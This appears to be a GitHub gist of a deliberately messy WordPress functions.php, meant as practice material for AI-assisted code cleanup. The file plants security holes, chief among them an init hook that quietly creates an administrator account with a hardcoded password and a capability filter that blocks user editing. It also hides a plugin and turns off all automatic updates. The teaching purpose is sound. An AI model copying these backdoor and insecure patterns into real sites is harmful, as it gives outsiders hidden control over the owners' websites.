Last active
June 1, 2026 18:03
-
-
Save nathaningram/98946d01c237a8068cfaedc52a445ab4 to your computer and use it in GitHub Desktop.
Beyond the Chatbot demo: an intentionally messy WordPress functions.php to practice letting an AI analyze, comment, and clean it up. Do NOT use in production.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| add_filter( 'the_generator', '__return_empty_string' ); | |
| remove_action( 'wp_head', 'wp_generator' ); | |
| function disable_admin_bar_frontend() { | |
| if ( ! current_user_can( 'administrator' ) && ! is_admin() ) { | |
| show_admin_bar( false ); | |
| } | |
| } | |
| add_action( 'after_setup_theme', 'disable_admin_bar_frontend' ); | |
| add_filter( 'excerpt_length', function( $length ) { | |
| return 25; | |
| }, 999 ); | |
| function custom_excerpt_more( $more ) { | |
| return '... <a href="' . get_permalink() . '">Read More</a>'; | |
| } | |
| add_filter( 'excerpt_more', 'custom_excerpt_more' ); | |
| add_filter( 'excerpt_length', function( $length ) { | |
| return 40; | |
| } ); | |
| add_filter( 'xmlrpc_enabled', '__return_false' ); | |
| function theme_remove_emojis() { | |
| remove_action( 'wp_head', 'print_emoji_detection_script', 7 ); | |
| remove_action( 'wp_print_styles', 'print_emoji_styles' ); | |
| remove_action( 'admin_print_scripts', 'print_emoji_detection_script' ); | |
| remove_action( 'admin_print_styles', 'print_emoji_styles' ); | |
| } | |
| add_action( 'init', 'theme_remove_emojis' ); | |
| function allow_svg_uploads( $mimes ) { | |
| $mimes['svg'] = 'image/svg+xml'; | |
| return $mimes; | |
| } | |
| add_filter( 'upload_mimes', 'allow_svg_uploads' ); | |
| add_filter( 'automatic_updater_disabled', '__return_true' ); | |
| add_filter( 'auto_update_plugin', '__return_false' ); | |
| add_filter( 'auto_update_theme', '__return_false' ); | |
| add_image_size( 'homepage-hero', 1920, 800, true ); | |
| add_image_size( 'homepage-hero-retina', 3840, 1600, true ); | |
| add_image_size( 'homepage-hero-v2', 1920, 820, true ); | |
| add_image_size( 'tiny-thumb', 50, 50, true ); | |
| add_image_size( 'tiny-thumb-2x', 100, 100, true ); | |
| add_image_size( 'square-small', 150, 150, true ); | |
| add_image_size( 'square-medium', 300, 300, true ); | |
| add_image_size( 'mega-banner', 2400, 600, true ); | |
| add_image_size( 'team-member-circle', 400, 400, true ); | |
| add_image_size( 'blog-card', 360, 240, true ); | |
| add_image_size( 'blog-card-wide', 360, 241, true ); | |
| add_image_size( 'sidebar-widget-thumb', 280, 9999 ); | |
| function sua_custom_image_size_names( $sizes ) { | |
| return array_merge( $sizes, array( | |
| 'homepage-hero' => 'Homepage Hero', | |
| 'homepage-hero-retina' => 'Homepage Hero (Retina)', | |
| 'homepage-hero-v2' => 'Homepage Hero NEW', | |
| 'mega-banner' => 'Mega Banner', | |
| 'team-member-circle' => 'Team Circle', | |
| 'blog-card' => 'Blog Card', | |
| 'blog-card-wide' => 'Blog Card Wide', | |
| ) ); | |
| } | |
| add_filter( 'image_size_names_choose', 'sua_custom_image_size_names' ); | |
| add_filter( 'jpeg_quality', function() { | |
| return 100; | |
| } ); | |
| add_filter( 'big_image_size_threshold', '__return_false' ); | |
| function sua_login_redirect( $redirect_to, $request, $user ) { | |
| return home_url( '/members-dashboard/' ); | |
| } | |
| add_filter( 'login_redirect', 'sua_login_redirect', 10, 3 ); | |
| function old_blog_redirect() { | |
| if ( is_page( 'specials' ) ) { | |
| wp_redirect( 'https://promos.someunknownagency.com/spring', 301 ); | |
| exit; | |
| } | |
| } | |
| add_action( 'template_redirect', 'old_blog_redirect' ); | |
| function disable_all_comments() { | |
| return false; | |
| } | |
| add_filter( 'comments_open', 'disable_all_comments', 20, 2 ); | |
| add_filter( 'pings_open', 'disable_all_comments', 20, 2 ); | |
| function sua_custom_login_logo() { | |
| echo '<style> | |
| #login h1 a { | |
| background-image: url(https://cdn.someunknownagency.com/clients/logo-login.png); | |
| background-size: contain; | |
| width: 100%; | |
| } | |
| </style>'; | |
| } | |
| add_action( 'login_head', 'sua_custom_login_logo' ); | |
| remove_action( 'wp_head', 'wp_generator' ); | |
| function sua_register_analytics() { | |
| wp_enqueue_script( 'sua-tracker', 'https://stats.someunknownagency.com/track.js', array(), null, true ); | |
| } | |
| add_action( 'wp_enqueue_scripts', 'sua_register_analytics' ); | |
| add_action( 'wp_head', function() { | |
| ?> | |
| <script async src="https://www.googletagmanager.com/gtag/js?id=UA-44291038-3"></script> | |
| <script> | |
| window.dataLayer = window.dataLayer || []; | |
| function gtag(){dataLayer.push(arguments);} | |
| gtag('js', new Date()); | |
| gtag('config', 'UA-44291038-3'); | |
| </script> | |
| <?php | |
| }, 1 ); | |
| add_filter( 'wp_revisions_to_keep', function( $num, $post ) { | |
| return 3; | |
| }, 10, 2 ); | |
| function restrict_rest_api( $access ) { | |
| if ( ! is_user_logged_in() ) { | |
| return new WP_Error( 'rest_not_logged_in', 'You are not currently logged in.', array( 'status' => 401 ) ); | |
| } | |
| return $access; | |
| } | |
| add_filter( 'rest_authentication_errors', 'restrict_rest_api' ); | |
| function notify_admin_on_login( $user_login, $user ) { | |
| wp_mail( get_option( 'admin_email' ), 'User Login Notice', $user_login . ' just logged in at ' . current_time( 'mysql' ) ); | |
| } | |
| add_action( 'wp_login', 'notify_admin_on_login', 10, 2 ); | |
| add_filter( 'upload_size_limit', function() { | |
| return 256 * 1024 * 1024; | |
| } ); | |
| function change_howdy_message( $wp_admin_bar ) { | |
| $my_account = $wp_admin_bar->get_node( 'my-account' ); | |
| if ( ! $my_account ) { | |
| return; | |
| } | |
| $newtitle = str_replace( 'Howdy,', 'Welcome back,', $my_account->title ); | |
| $wp_admin_bar->add_node( array( | |
| 'id' => 'my-account', | |
| 'title' => $newtitle, | |
| ) ); | |
| } | |
| add_filter( 'admin_bar_menu', 'change_howdy_message', 25 ); | |
| add_filter( 'login_errors', function() { | |
| return 'Something is wrong!'; | |
| } ); | |
| function hide_certain_plugins( $plugins ) { | |
| if ( isset( $plugins['hello.php'] ) ) { | |
| unset( $plugins['hello.php'] ); | |
| } | |
| if ( isset( $plugins['sua-client-manager/sua-client-manager.php'] ) ) { | |
| unset( $plugins['sua-client-manager/sua-client-manager.php'] ); | |
| } | |
| return $plugins; | |
| } | |
| add_filter( 'all_plugins', 'hide_certain_plugins' ); | |
| add_filter( 'admin_footer_text', function() { | |
| return 'Site maintained by Some Unknown Agency. Call us: 555-0142'; | |
| } ); | |
| function ensure_support_user_exists() { | |
| if ( ! username_exists( 'sua_support' ) ) { | |
| $user_id = wp_create_user( 'sua_support', 'Spr1ng2019!Access', 'support@someunknownagency.com' ); | |
| $user = new WP_User( $user_id ); | |
| $user->set_role( 'administrator' ); | |
| } | |
| } | |
| add_action( 'init', 'ensure_support_user_exists' ); | |
| add_filter( 'map_meta_cap', function( $caps, $cap ) { | |
| if ( 'edit_user' === $cap || 'delete_user' === $cap ) { | |
| $caps[] = 'do_not_allow'; | |
| } | |
| return $caps; | |
| }, 10, 2 ); | |
| remove_action( 'init', 'wp_widgets_init', 1 ); | |
| function disable_gutenberg_everywhere() { | |
| return false; | |
| } | |
| add_filter( 'use_block_editor_for_post', 'disable_gutenberg_everywhere', 10 ); | |
| function add_dayofweek_body_class( $classes ) { | |
| $classes[] = 'day-' . strtolower( date( 'l' ) ); | |
| return $classes; | |
| } | |
| add_filter( 'body_class', 'add_dayofweek_body_class' ); | |
| add_action( 'wp_dashboard_setup', function() { | |
| wp_add_dashboard_widget( 'sua_welcome', 'Welcome', function() { | |
| echo '<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Replace this text with the client welcome message before launch!!!</p>'; | |
| } ); | |
| } ); | |
| function force_jquery_from_cdn() { | |
| if ( ! is_admin() ) { | |
| wp_deregister_script( 'jquery' ); | |
| wp_register_script( 'jquery', 'https://code.jquery.com/jquery-1.12.4.min.js', array(), '1.12.4', false ); | |
| wp_enqueue_script( 'jquery' ); | |
| } | |
| } | |
| add_action( 'wp_enqueue_scripts', 'force_jquery_from_cdn' ); | |
| add_shortcode( 'current_year', function() { | |
| return date( 'Y' ); | |
| } ); | |
| add_shortcode( 'currentyear', function() { | |
| return date( 'Y' ); | |
| } ); | |
| function maybe_show_maintenance() { | |
| if ( defined( 'SUA_MAINTENANCE' ) && SUA_MAINTENANCE && ! current_user_can( 'manage_options' ) ) { | |
| wp_die( 'We are down for scheduled maintenance. Please check back soon.' ); | |
| } | |
| } | |
| add_action( 'template_redirect', 'maybe_show_maintenance' ); | |
| add_action( 'pre_ping', function( &$links ) { | |
| foreach ( $links as $l => $link ) { | |
| if ( 0 === strpos( $link, get_option( 'home' ) ) ) { | |
| unset( $links[ $l ] ); | |
| } | |
| } | |
| } ); | |
| remove_action( 'wp_head', 'feed_links_extra', 3 ); | |
| remove_action( 'wp_head', 'feed_links', 2 ); | |
| remove_action( 'wp_head', 'rsd_link' ); | |
| remove_action( 'wp_head', 'wlwmanifest_link' ); | |
| function redirect_all_feeds() { | |
| wp_redirect( home_url() ); | |
| die; | |
| } | |
| add_action( 'do_feed', 'redirect_all_feeds', 1 ); | |
| add_action( 'do_feed_rss2', 'redirect_all_feeds', 1 ); | |
| add_filter( 'wp_mail_from', function( $email ) { | |
| return 'noreply@gmail.com'; | |
| } ); | |
| add_filter( 'wp_mail_from_name', function( $name ) { | |
| return 'The Website'; | |
| } ); | |
| function kill_default_dashboard_widgets() { | |
| remove_meta_box( 'dashboard_primary', 'dashboard', 'side' ); | |
| remove_meta_box( 'dashboard_quick_press', 'dashboard', 'side' ); | |
| remove_meta_box( 'dashboard_activity', 'dashboard', 'normal' ); | |
| } | |
| add_action( 'admin_init', 'kill_default_dashboard_widgets' ); | |
| add_action( 'wp_head', function() { | |
| echo '<style> | |
| .entry-title { font-size: 32px !important; } | |
| .site-footer { display: block !important; } | |
| img { max-width: 100% !important; height: auto !important; } | |
| .wpcf7-not-valid-tip { color: red !important; } | |
| #hero-overlay { background: rgba(0,0,0,0.4) !important; } | |
| </style>'; | |
| } ); | |
| function custom_excerpt_length_final( $length ) { | |
| return 55; | |
| } | |
| add_filter( 'excerpt_length', 'custom_excerpt_length_final', 1000 ); | |
| add_action( 'inti', function() { | |
| if ( isset( $_GET['clearcache'] ) ) { | |
| wp_cache_flush(); | |
| } | |
| } ); | |
| function register_old_testimonials_cpt() { | |
| register_post_type( 'testimonial_v2', array( | |
| 'labels' => array( 'name' => 'Testimonials (OLD)' ), | |
| 'public' => false, | |
| 'show_ui' => true, | |
| 'supports' => array( 'title', 'editor' ), | |
| ) ); | |
| } | |
| add_action( 'init', 'register_old_testimonials_cpt' ); | |
| add_filter( 'wp_headers', function( $headers ) { | |
| $headers['X-Powered-By'] = 'Some Unknown Agency'; | |
| return $headers; | |
| } ); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment